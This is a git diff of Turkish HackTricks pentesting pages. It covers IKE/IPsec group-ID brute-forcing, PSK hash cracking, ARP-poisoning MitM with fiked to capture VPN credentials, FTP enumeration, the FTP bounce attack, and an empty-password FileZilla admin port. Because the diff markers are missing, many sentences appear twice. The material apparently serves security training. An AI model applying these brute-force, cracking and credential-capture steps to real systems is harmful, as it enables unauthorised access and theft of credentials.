Hash'i yakalamanıza izin verilmesi için Agresif modu destekleyen geçerli bir dönüşüm ve doğru kimliğe (grup adı) ihtiyacınız vardır. Muhtemelen geçerli grup adını bilmeyeceksiniz, bu yüzden bunu kaba kuvvet uygulayarak bulmanız gerekecek.\
Hash'i yakalamanıza izin verilmesi için Agresif modu destekleyen geçerli bir dönüşüm ve doğru kimliğe (grup adı) ihtiyacınız vardır. Muhtemelen geçerli grup adını bilmiyorsunuz, bu yüzden bunu kaba kuvvet uygulayarak bulmanız gerekecek.\
Bunu yapmak için size 2 yöntem öneririm:
### ike-scan ile Kimliği Kaba Kuvvet Yöntemi
Öncelikle, hash'i toplamayı deneyerek sahte bir kimlikle bir istekte bulunun ("-P"):
Öncelikle, hash'i toplamayı denemek için sahte bir kimlikle bir istekte bulunun ("-P"):
```bash
ike-scan -P -M -A -n fakeID <IP>
```
Eğer **hiçbir hash döndürülmezse**, o zaman muhtemelen bu kaba kuvvet saldırısı yöntemi çalışacaktır. **Eğer bir hash döndürülürse, bu, sahte bir kimlik için sahte bir hash'in geri gönderileceği anlamına gelir, bu nedenle bu yöntem kimliği kaba kuvvetle çözmek için güvenilir olmayacaktır**. Örneğin, sahte bir hash döndürülebilir (bu modern sürümlerde meydana gelir):
Eğer **hiçbir hash döndürülmezse**, o zaman muhtemelen bu kaba kuvvet saldırısı yöntemi işe yarayacaktır. **Eğer bir hash döndürülürse, bu, sahte bir kimlik için sahte bir hash'in geri gönderileceği anlamına gelir, bu nedenle bu yöntem kimliği kaba kuvvetle çözmek için güvenilir olmayacaktır**. Örneğin, sahte bir hash döndürülebilir (bu modern sürümlerde meydana gelir):
![](<../.gitbook/assets/image (110).png>)
Ancak dediğim gibi, hiçbir hash döndürülmezse, o zaman ike-scan kullanarak yaygın grup adlarını kaba kuvvetle denemelisiniz.
Bu betik **mümkün olası kimlikleri kaba kuvvetle deneyecek** ve geçerli bir el sıkışması döndürülen kimlikleri (bu geçerli bir grup adı olacaktır) geri döndürecektir.
Bu betik **mümkün olan kimlikleri kaba kuvvetle deneyecek** ve geçerli bir el sıkışması döndürülen kimlikleri geri döndürecektir (bu geçerli bir grup adı olacaktır).
Belirli bir dönüşüm keşfettiyseniz, bunu ike-scan komutuna ekleyin. Ve birden fazla dönüşüm keşfettiyseniz, hepsini denemek için yeni bir döngü eklemekte özgürsünüz (bir tanesi düzgün çalışana kadar hepsini denemelisiniz).
Belirli bir dönüşüm keşfettiyseniz, ike-scan komutuna ekleyin. Ve birden fazla dönüşüm keşfettiyseniz, hepsini denemek için yeni bir döngü eklemekte özgürsünüz (bir tanesi düzgün çalışana kadar hepsini denemelisiniz).
[ikeforce sözlüğünü](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) veya [seclists'teki](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) yaygın grup adları listesini kaba kuvvetle denemek için kullanabilirsiniz:
```bash
@ -143,19 +151,19 @@ while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) ayrıca **ike-scan** kullanarak olası grup adlarını bruteforce etmek için kendi yöntemini izler. **ike-scan çıktısına dayanarak geçerli bir ID bulmak için kendi yöntemini izler**.
### ikeforce ile ID'nin Bruteforce Edilmesi
### Ikeforce ile ID'nin Bruteforce Edilmesi
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) aynı zamanda **ID'leri bruteforce etmek için kullanılabilecek bir araçtır**. Bu araç, **farklı zayıflıkları sömürmeye çalışacaktır** ve **geçerli ve geçersiz ID'leri ayırt etmek için kullanılabilecek farklı yöntemler deneyecektir** (yanlış pozitif ve yanlış negatif sonuçlar alabilir, bu yüzden mümkünse ike-scan yöntemini tercih ederim).
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) aynı zamanda **ID'leri bruteforce etmek için kullanılabilecek bir araçtır**. Bu araç, **farklı zayıflıkları sömürmeye çalışacaktır** ve **geçerli ve geçersiz ID arasındaki farkı belirlemek için kullanılabilecek** (yanlış pozitif ve yanlış negatifler olabilir, bu yüzden mümkünse ike-scan yöntemini tercih ederim).
Varsayılan olarak **ikeforce**, sunucunun davranışını kontrol etmek ve kullanılacak taktiği belirlemek için başlangıçta bazı rastgele ID'ler gönderecektir.
Varsayılan olarak **ikeforce**, başlangıçta sunucunun davranışını kontrol etmek ve kullanılacak taktiği belirlemek için bazı rastgele ID'ler gönderecektir.
* **İlk yöntem**, Cisco sistemlerinin **Dead Peer Detection DPD** bilgisini arayarak grup adlarını bruteforce etmektir (bu bilgi, grup adı doğru olduğunda sunucu tarafından yalnızca yanıtlanır).
* Mevcut olan **ikinci yöntem**, her denemeye gönderilen yanıtların sayısını kontrol etmektir, çünkü bazen doğru ID kullanıldığında daha fazla paket gönderilir.
* **İlk yöntem**, Cisco sistemlerinin **Dead Peer Detection DPD** bilgisini arayarak grup adlarını bruteforce etmektir (bu bilgi, grup adı doğruysa sunucu tarafından yalnızca yanıtlanır).
* Mevcut olan **ikinci yöntem**, her denemeye gönderilen yanıtların sayısını kontrol eder çünkü bazen doğru ID kullanıldığında daha fazla paket gönderilir.
* **Üçüncü yöntem**, yanlış ID'ye yanıt olarak "INVALID-ID-INFORMATION" aramaktır.
* Son olarak, sunucu kontrollerine hiçbir yanıt vermezse, **ikeforce** sunucuyu bruteforce etmeye çalışacak ve doğru ID gönderildiğinde sunucunun bir paketle yanıt verip vermediğini kontrol edecektir.\
ıkça, ID'yi bruteforce etme amacı, geçerli bir ID'ye sahip olduğunuzda **PSK'yi** elde etmektir. Ardından, **ID** ve **PSK** ile XAUTH'ı bruteforce etmeniz gerekecektir.
* Son olarak, sunucu kontrole hiçbir şey yanıt vermezse, **ikeforce** sunucuyu bruteforce etmeye çalışacak ve doğru ID gönderildiğinde sunucunun bir paketle yanıt verip vermediğini kontrol edecektir.\
ıkçası, ID'nin bruteforce edilmesinin amacı, geçerli bir ID'ye sahip olduğunuzda **PSK'yi** elde etmektir. Ardından, **ID** ve **PSK** ile **XAUTH'ı** bruteforce etmeniz gerekecektir.
Eğer belirli bir dönüşüm keşfettiyseniz, bunu ikeforce komutuna ekleyin. Ve birden fazla dönüşüm keşfettiyseniz, hepsini denemek için yeni bir döngü eklemekte özgürsünüz (doğru çalışana kadar hepsini denemelisiniz).
Eğer belirli bir dönüşüm keşfetmişseniz, bunu ikeforce komutuna ekleyin. Ve birden fazla dönüşüm keşfettiyseniz, hepsini denemek için yeni bir döngü eklemekte özgürsünüz (birinin düzgün çalışana kadar hepsini denemelisiniz).
```bash
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
@ -178,7 +186,7 @@ ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported
```
Hash değeri _hash.txt_ dosyasının içine kaydedilecektir.
Hash değerini **çözmek** için **psk-crack**, **john** ( [**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py) kullanarak) ve **hashcat** kullanabilirsiniz:
Hash değerini **çözmek** için **psk-crack**, **john** ( [**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py) kullanarak) ve **hashcat** araçlarını kullanabilirsiniz:
```bash
psk-crack -d <Wordlist_path> psk.txt
```
@ -191,7 +199,7 @@ psk-crack -d <Wordlist_path> psk.txt
### Kimlik bilgilerini yakalamak için Yerel Ağ MitM
Böylece, _fiked_ kullanarak giriş verilerini yakalayabilir ve herhangi bir varsayılan kullanıcı adının olup olmadığını görebilirsiniz (IKE trafiğini `fiked`'e yönlendirmeniz ve veri çalmak için ARP zehirlemesi ile yapılabilir, [daha fazla bilgi](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked, bir VPN uç noktası olarak hareket edecek ve XAuth kimlik bilgilerini yakalayacaktır:
Böylece, _fiked_ kullanarak giriş verilerini yakalayabilir ve herhangi bir varsayılan kullanıcı adının olup olmadığını görebilirsiniz (IKE trafiğini `fiked`'e yönlendirmeniz ve izleme yapmanız gerekmektedir, bunu ARP zehirlemesi ile yapabilirsiniz, [daha fazla bilgi](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked, bir VPN uç noktası olarak hareket edecek ve XAuth kimlik bilgilerini yakalayacaktır:
```bash
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
```
@ -209,7 +217,7 @@ Eğer bir veya birkaç geçerli dönüş bulduysanız, bunları önceki adımlar
Kali'de, IPsec tünelleri kurmak için **VPNC** kullanılır. **Profiller** `/etc/vpnc/` dizininde bulunmalıdır. Bu profilleri _**vpnc**_ komutunu kullanarak başlatabilirsiniz.
Aşağıdaki komutlar ve yapılandırmalar, VPNC ile VPN bağlantısı kurma sürecini açıklamaktadır:
Aşağıdaki komutlar ve yapılandırmalar, VPNC ile VPN bağlantısı kurma sürecini açıklar:
```bash
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
@ -227,33 +235,39 @@ Bu kurulumda:
- `[VPN_GATEWAY_IP]`'yi VPN ağ geçidinin gerçek IP adresi ile değiştirin.
- `[VPN_CONNECTION_ID]`'yi VPN bağlantısının tanımlayıcısı ile değiştirin.
- `[VPN_GROUP_SECRET]`'ı VPN'in grup sırrı ile değiştirin.
- `[VPN_GROUP_SECRET]`'ı VPN'in grup gizemi ile değiştirin.
- `[VPN_USERNAME]` ve `[VPN_PASSWORD]`'ı VPN kimlik doğrulama kimlik bilgileri ile değiştirin.
- `vpnc` başlattığında atanacak olan işlem kimliğini `[PID]` simgeler.
- `vpnc` başlatıldığında atanacak olan işlem kimliğini `[PID]` sembolize eder.
VPN'i yapılandırırken yer tutucuların yerine gerçek, güvenli değerlerin kullanıldığından emin olun.
VPN'i yapılandırırken yer tutucuların yerine gerçek ve güvenli değerlerin kullanıldığından emin olun.
## Referans Materyal
## Referans Materyali
* [PSK kırma makalesi](http://www.ernw.de/download/pskattack.pdf)
* [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821)
* [VPN Uygulamasını Taramak](http://www.radarhack.com/dir/papers/Scanning\_ike\_with\_ikescan.pdf)
* [VPN Uygulamasını Tarama](http://www.radarhack.com/dir/papers/Scanning\_ike\_with\_ikescan.pdf)
* Network Security Assessment 3. Baskı
## Shodan
* `port:500 IKE`
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Sıfırdan kahraman olana kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* Şirketinizi HackTricks'te **tanıtmak istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin.**
* Özel [**NFT'lerimiz olan**](https://opensea.io/collection/the-peass-family) [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u takip edin.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>

View file

@ -2,16 +2,24 @@
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz? Şirketinizin **HackTricks'te reklamını görmek ister misiniz**? Ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'ı takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile katkıda bulunun**.
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Temel Bilgiler
**Dosya Transfer Protokolü (FTP)**, bir sunucu ve bir istemci arasında bir bilgisayar ağı üzerinde dosya transferi için standart bir protokol olarak hizmet verir.\
@ -24,11 +32,11 @@ PORT STATE SERVICE
```
### Bağlantılar Aktif ve Pasif
**Aktif FTP**'de FTP **istemcisi** önce kontrol bağlantısını port N'den FTP Sunucusunun komut portuna - port 21'e başlatır. **İstemci** daha sonra port N+1'i dinler ve port N+1'i FTP Sunucusuna gönderir. FTP **Sunucusu** daha sonra veri **bağlantısını**, **kendi portu M'den FTP İstemcisinin portu N+1'e** başlatır.
**Aktif FTP**'de FTP **istemcisi** önce kontrol bağlantısını port N'sinden FTP Sunucusunun komut portuna - port 21'e başlatır. **İstemci** daha sonra port **N+1**'i dinler ve port N+1'i FTP Sunucusuna gönderir. FTP **Sunucusu** daha sonra veri **bağlantısını**, **kendi M portundan istemcinin N+1 portuna** başlatır.
Ancak, eğer FTP İstemcisinin dışarıdan gelen veri bağlantılarını kontrol eden bir güvenlik duvarı kurulumu varsa, aktif FTP bir sorun olabilir. Ve, bunun için uygun bir çözüm Pasif FTP'dir.
**Pasif FTP**'de, istemci kontrol bağlantısını port N'den FTP Sunucusunun port 21'ine başlatır. Bundan sonra, istemci bir **passv komutu** verir. Sunucu daha sonra istemciye kendi port numarasından M birini gönderir. Ve **istemci**, veri **bağlantısını** **kendi portu P'den FTP Sunucusunun portu M'ye** başlatır.
**Pasif FTP**'de, istemci kontrol bağlantısını port N'sinden FTP Sunucusunun 21 numaralı portuna başlatır. Bundan sonra, istemci bir **passv komutu** verir. Sunucu daha sonra istemciye kendi bir port numarası M'sini gönderir. Ve **istemci**, veri **bağlantısını** **kendi P portundan FTP Sunucusunun M portuna** başlatır.
Kaynak: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
@ -59,7 +67,7 @@ lftp 10.10.10.208:~> login username Password
```bash
sudo nmap -sV -p21 -sC -A 10.10.10.10
```
Kullanabileceğiniz komutlar `HELP` ve `FEAT` FTP sunucusundan bazı bilgileri almak için:
FTP sunucusu hakkında bazı bilgileri elde etmek için `HELP` ve `FEAT` komutlarını kullanabilirsiniz:
```
HELP
214-The following commands are recognized (* =>'s unimplemented):
@ -95,7 +103,7 @@ SIZE
STAT
#Info about the FTP server (version, configs, status...)
```
### Anonim giriş
### Anonim Giriş
_anonymous : anonymous_\
_anonymous :_\
@ -121,7 +129,7 @@ nmap --script ftp-* -p 21 <ip>
```
## Tarayıcı bağlantısı
Bir FTP sunucusuna tarayıcı (örneğin Firefox) kullanarak şu URL'yi kullanarak bağlanabilirsiniz:
Bir FTP sunucusuna bir tarayıcı (örneğin Firefox) kullanarak şu URL'yi kullanarak bağlanabilirsiniz:
```bash
ftp://anonymous:anonymous@10.10.10.98
```
@ -141,15 +149,15 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
* **`USER kullanıcı_adı`**
* **`PASS şifre`**
* **`HELP`** Sunucu desteklediği komutları gösterir
* \*\*`PORT 127,0,0,1,0,80`\*\*Bu, FTP sunucusuna 127.0.0.1 IP'sine 80 numaralı porta bağlantı kurmasını söyler (_5. karakteri "0" ve 6. karakteri portu ondalık olarak belirtmelisiniz veya 5. ve 6. karakterleri kullanarak portu onaltılık olarak ifade edebilirsiniz_).
* \*\*`EPRT |2|127.0.0.1|80|`\*\*Bu, FTP sunucusuna 127.0.0.1 IP'sine 80 numaralı porta TCP bağlantısı kurmasını söyler (_"2" ile belirtilir_). Bu komut **IPv6'ı destekler**.
* \*\*`PORT 127,0,0,1,0,80`\*\*Bu, FTP sunucusuna 127.0.0.1 IP'si ve 80 numaralı bağlantıyı kurması için işaret eder (_5. karakteri "0" ve 6. karakteri portu ondalık olarak belirtmelisiniz veya 5. ve 6. karakterleri kullanarak portu onaltılık olarak ifade edebilirsiniz_).
* \*\*`EPRT |2|127.0.0.1|80|`\*\*Bu, FTP sunucusuna 127.0.0.1 IP'si ve 80 numaralı bağlantıyı kurması için işaret eder. Bu komut **IPv6 destekler**.
* **`LIST`** Bu, mevcut klasördeki dosyaların listesini gönderir
* **`LIST -R`** Yinelemeli olarak listeler (sunucu izin veriyorsa)
* **`APPE /yol/birşey.txt`** Bu, FTP'ye **pasif** bir bağlantıdan veya bir **PORT/EPRT** bağlantısından gelen verileri bir dosyaya kaydetmesini söyler. Dosya adı varsa, verileri ekler.
* **`APPE /yol/birşey.txt`** Bu, FTP'yi bir dosyaya **pasif** bir bağlantıdan veya **PORT/EPRT** bağlantısından gelen verileri depolamak için işaret eder. Dosya adı varsa, verileri ekler.
* **`STOR /yol/birşey.txt`** `APPE` gibi ancak dosyaları üzerine yazar
* **`STOU /yol/birşey.txt`** `APPE` gibi, ancak varsa hiçbir şey yapmaz.
* **`RETR /dosya/yol`** Bir pasif veya port bağlantısı kurulmalıdır. Daha sonra, FTP sunucusu belirtilen dosyayı o bağlantı üzerinden gönderir
* **`REST 6`** Bu, sunucuya bir sonraki sefer `RETR` kullanarak bir şey gönderdiğinde 6. bayttan başlaması gerektiğini söyler.
* **`RETR /dosya/yol`** Bir pasif veya port bağlantısı kurulmalıdır. Daha sonra, FTP sunucusu belirtilen dosyayı o bağlantı üzerinden gönderecektir
* **`REST 6`** Bu, sunucuya bir sonraki sefer `RETR` kullanarak bir şey gönderdiğinde 6. bayttan başlaması gerektiğini belirtir.
* **`TYPE i`** Transferi ikili olarak ayarlar
* **`PASV`** Bu, pasif bir bağlantı açacak ve kullanıcıya nereye bağlanabileceğini gösterecektir
* **`PUT /tmp/dosya.txt`** Belirtilen dosyayı FTP'ye yükler
@ -158,34 +166,34 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
## FTPBounce saldırısı
Bazı FTP sunucuları `PORT` komutuna izin verir. Bu komut, sunucuya başka bir FTP sunucusuna belirli bir porta bağlanmak istediğinizi belirtmek için kullanılabilir. Sonra, bu bilgiyi kullanarak bir FTP sunucusu aracılığıyla bir ana bilgisayarın hangi portlarının açık olduğunu taramak için kullanabilirsiniz.
Bazı FTP sunucuları `PORT` komutuna izin verir. Bu komut, sunucuya başka bir FTP sunucusuna belirli bir bağlantı noktasından bağlanmak istediğinizi belirtmek için kullanılabilir. Ardından, bu, bir FTP sunucusu aracılığıyla bir ana bilgisayarın hangi bağlantı noktalarının açık olduğunu taramak için kullanılabilir.
[**Buradan bir FTP sunucusunu port taraması yapmak için nasıl kötüye kullanabileceğinizi öğrenin.**](ftp-bounce-attack.md)
[**FTP sunucusunu bağlantı noktalarını taramak için nasıl kötüye kullanabileceğinizi buradan öğrenin.**](ftp-bounce-attack.md)
Bu davranışı kötüye kullanarak bir FTP sunucusunu başka protokollerle etkileşime girmesi için de kullanabilirsiniz. Bir HTTP isteği içeren bir dosya yükleyebilir ve zayıf FTP sunucusunun bunu bir başka HTTP sunucusuna göndermesini sağlayabilirsiniz (_belki yeni bir yönetici kullanıcı eklemek için?_) veya hatta bir FTP isteği yükleyebilir ve zayıf FTP sunucusunun farklı bir FTP sunucusundan bir dosya indirmesini sağlayabilirsiniz.\
Bu davranışı kötüye kullanarak bir FTP sunucusunu başka protokollerle etkileşime girmesi için de kullanabilirsiniz. Bir HTTP isteği içeren bir dosyayı yükleyebilir ve zayıf FTP sunucusunun bunu bir başka HTTP sunucusuna göndermesini sağlayabilirsiniz (_belki yeni bir yönetici kullanıcı eklemek için?_) veya bir FTP isteği yükleyebilir ve zayıf FTP sunucusunun farklı bir FTP sunucusundan bir dosya indirmesini sağlayabilirsiniz.\
Teori basittir:
1. **İsteği (bir metin dosyası içinde) zayıf sunucuya yükleyin.** Başka bir HTTP veya FTP sunucusuyla iletişim kurmak istiyorsanız, satırları `0x0d 0x0a` ile değiştirmeniz gerekir
2. **Göndermek istemediğiniz karakterleri göndermemek için `REST X` kullanın** (belki isteği dosyanın içine yüklemek için başlangıçta bazı görüntü başlığı eklemeniz gerekiyordur)
2. **Göndermek istemediğiniz karakterleri göndermemek için `REST X` kullanın** (belki dosyanın içine isteği yüklemek için başlangıçta bazı görüntü başlığı eklemeniz gerekiyordur)
3. **Arbitrary sunucuya ve servise bağlanmak için `PORT` kullanın**
4. **Kaydedilen isteği sunucuya göndermek için `RETR` kullanın.**
Bu **muhtemelen** _**Yazılabilir soket değil**_ **gibi bir hata verecektir çünkü bağlantı, verileri `RETR` ile göndermek için yeterince uzun sürmez**. Bunu önlemek için deneyebileceğiniz öneriler şunlardır:
Bu, **muhtemelen** _**Yazılabilir soket değil**_ **gibi bir hata verecektir çünkü bağlantı, verileri `RETR` ile göndermek için yeterince uzun sürmez**. Bunun önüne geçmek için denemeniz gereken öneriler şunlardır:
* Bir HTTP isteği gönderiyorsanız, **en azından \~0.5MB'ye kadar aynı isteği tekrarlayın**. Şöyle:
* Bir HTTP isteği gönderiyorsanız, **en azından ~0.5MB'a kadar aynı isteği tekrarlayın**. Şöyle:
{% file src="../../.gitbook/assets/posts (1).txt" %}
posts.txt
{% endfile %}
* İsteği **protokole göre "gereksiz" verilerle doldurmaya çalışın** (FTP ile konuşurken belki sadece gereksiz komutlar veya dosyayı almak için `RETR` komutunu tekrarlayın)
* İsteği **çok sayıda null karakter veya başka karakterlerle doldurun** (satırlara veya satırlara bölünmüş olsun)
* İsteği, **protokole göre "gereksiz" verilerle doldurmaya çalışın** (FTP ile iletişim kurarken belki sadece gereksiz komutlar veya dosyayı almak için `RETR` komutunu tekrarlayın)
* İsteği, **satırlara veya satırlara bölünmüş bir şekilde çok sayıda null karakter veya başka karakterlerle doldurun**
Neyse, burada bir [FTP sunucusunun farklı bir FTP sunucusundan bir dosya indirmesi için bunu nasıl kötüye kullanabileceğinize dair eski bir örnek](ftp-bounce-download-2oftp-file.md) bulunmaktadır.
Neyse, burada bir [FTP sunucusunun farklı bir FTP sunucusundan bir dosya indirmesini sağlamak için bunu nasıl kötüye kullanacağınıza dair eski bir örnek](ftp-bounce-download-2oftp-file.md) bulunmaktadır.
## Filezilla Sunucu Güvenlik Açığı
**FileZilla** genellikle **yerel** bir **Yönetimsel hizmet** için **FileZilla-Sunucusuna** (port 14147) **bağlanır**. Bu porta erişmek için **kendi makinenizden bir tünel oluşturabilirseniz**, FTP hizmeti için **boş bir şifre** kullanarak **bağlanabilir** ve **FTP hizmeti için yeni bir kullanıcı oluşturabilirsiniz**.
**FileZilla** genellikle **yerel** bir **Yönetimsel hizmet** için **FileZilla-Server**'a (port 14147) **bağlanır**. Bu bağlantı noktasına erişmek için **kendi makinenizden** bir **tünel** oluşturabilirseniz, **boş bir şifre** kullanarak **buna** bağlanabilir ve FTP hizmeti için **yeni bir kullanıcı** oluşturabilirsiniz.
## Yapılandırma dosyaları
```
@ -203,7 +211,7 @@ vsFTPd'nin varsayılan yapılandırması `/etc/vsftpd.conf` dosyasında bulunabi
* `anon_mkdir_write_enable=YES`
* `anon_root=/home/username/ftp` - Anonim için dizin.
* `chown_uploads=YES` - Anonim olarak yüklenen dosyaların sahipliğini değiştir
* `chown_username=username` - Anonim olarak yüklenen dosyaların sahipliğini alan kullanıcı
* `chown_username=username` - Anonim olarak yüklenen dosyaların sahibi olan kullanıcı
* `local_enable=YES` - Yerel kullanıcıların giriş yapmasına izin ver
* `no_anon_password=YES` - Anonimden şifre isteme
* `write_enable=YES` - Komutlara izin ver: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE ve SITE
@ -213,7 +221,15 @@ vsFTPd'nin varsayılan yapılandırması `/etc/vsftpd.conf` dosyasında bulunabi
* `ftp`
* `port:21`
***
***
**Try Hard Güvenlik Grubu**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## HackTricks Otomatik Komutları
```
@ -272,9 +288,9 @@ Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP};
<summary><strong>AWS hacklemeyi sıfırdan kahramana öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* **Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamını görmek ister misiniz**? ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) ya da [**telegram grubuna**](https://t.me/peass) veya beni **Twitter'da takip edin** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Hacking püf noktalarınızı paylaşın, PR'lar göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **ile.**
* **Katılın** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) ya da [**telegram grubuna**](https://t.me/peass) veya beni **Twitter**'da takip edin 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Hacking püf noktalarınızı paylaşın, PR'lar göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,39 +1,46 @@
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olmak için AWS hackleme öğrenin<strong>!</strong></summary>
<summary><strong>Sıfırdan kahramana AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
